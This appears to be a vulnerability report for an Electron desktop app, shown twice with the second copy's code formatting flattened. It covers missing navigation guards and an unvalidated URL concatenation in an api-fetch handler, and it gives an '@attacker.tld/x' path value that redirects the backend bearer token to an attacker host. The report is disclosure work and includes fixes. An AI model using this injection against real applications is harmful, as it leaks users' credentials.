Summary
Two compounding gaps that together allow the per-launch backend bearer token to be exfiltrated:
- No navigation guard - there is no
webContents.setWindowOpenHandler, will-navigate, or will-attach-webview handler anywhere in main.ts. If the renderer is navigated off-origin (or opens a child window), that page keeps the preload, including window.api.fetch, which auto-attaches the bearer token.
api-fetch builds the URL by string concatenation - urlPath from the renderer is concatenated with no validation, and the Authorization header is spread before ...init?.headers so the renderer can clobber it.
Locations
Evidence
const url = `http://127.0.0.1:${apiPort}${urlPath}`;
const response = await fetch(url, { ...init, headers: { "Content-Type": ..., Authorization: `Bearer ${apiToken}`, ...init?.headers } });
A urlPath beginning with @ reinterprets the host: @attacker.tld/x yields http://127.0.0.1:<port>@attacker.tld/x - 127.0.0.1:<port> becomes userinfo, attacker.tld the real host -> the token is sent off-machine.
Fix
Add setWindowOpenHandler (deny / shell.openExternal allowlist) and a will-navigate guard pinned to the app origin; validate that urlPath starts with /; spread ...init?.headers before the Authorization header so it cannot be overridden.
Summary
Two compounding gaps that together allow the per-launch backend bearer token to be exfiltrated:
webContents.setWindowOpenHandler,will-navigate, orwill-attach-webviewhandler anywhere inmain.ts. If the renderer is navigated off-origin (or opens a child window), that page keeps the preload, includingwindow.api.fetch, which auto-attaches the bearer token.api-fetchbuilds the URL by string concatenation -urlPathfrom the renderer is concatenated with no validation, and theAuthorizationheader is spread before...init?.headersso the renderer can clobber it.Locations
electron/main.ts:351-383(window creation, no handlers)electron/main.ts:406-417(api-fetch)Evidence
A
urlPathbeginning with@reinterprets the host:@attacker.tld/xyieldshttp://127.0.0.1:<port>@attacker.tld/x-127.0.0.1:<port>becomes userinfo,attacker.tldthe real host -> the token is sent off-machine.Fix
Add
setWindowOpenHandler(deny /shell.openExternalallowlist) and awill-navigateguard pinned to the app origin; validate thaturlPathstarts with/; spread...init?.headersbefore theAuthorizationheader so it cannot be overridden.